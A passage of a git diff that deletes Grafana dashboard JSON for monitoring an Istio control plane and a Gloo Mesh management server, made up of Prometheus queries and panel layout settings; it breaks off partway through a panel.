"thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 32 - }, - "id": 41, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(envoy_cluster_upstream_cx_active{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "XDS Active Connections", - "range": true, - "refId": "C", - "step": 2 - } - ], - "title": "XDS Active Connections", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the size of XDS requests and responses", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "Bps" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 32 - }, - "id": 42, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Max", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(0.5, rate(envoy_cluster_upstream_cx_rx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Response Bytes Average", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "max(rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Max", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "quantile(.5, rate(envoy_cluster_upstream_cx_tx_bytes_total{cluster_name=\"xds-grpc\", cluster=\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "XDS Request Bytes Average", - "range": true, - "refId": "C" - } - ], - "title": "XDS Requests Size", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 40 - }, - "id": 626, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Webhooks", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 41 - }, - "id": 629, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_passed[1m]))", - "interval": "", - "legendFormat": "Validations (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(galley_validation_failed[1m]))", - "interval": "", - "legendFormat": "Validation (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Configuration Validation", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 41 - }, - "id": 630, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_success_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Success)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(sidecar_injection_failure_total{cluster=\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Injections (Failure)", - "range": true, - "refId": "B" - } - ], - "title": "Sidecar Injection", - "type": "timeseries" - } - ], - "refresh": "5s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "istio", - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "multi": false, - "name": "datasource", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": {}, - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "definition": "label_values(istio_agent_pilot_xds, cluster)", - "hide": 0, - "includeAll": false, - "label": "Cluster", - "multi": true, - "name": "cluster", - "options": [], - "query": { - "query": "label_values(istio_agent_pilot_xds, cluster)", - "refId": "StandardVariableQuery" - }, - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "sort": 0, - "type": "query" - } - ] - }, - "time": { - "from": "now-15m", - "to": "now" - }, - "timepicker": { - "refresh_intervals": [ - "5s", - "10s", - "30s", - "1m", - "5m", - "15m", - "30m", - "1h", - "2h", - "1d" - ], - "time_options": [ - "5m", - "15m", - "1h", - "6h", - "12h", - "24h", - "2d", - "7d", - "30d" - ] - }, - "timezone": "browser", - "title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - 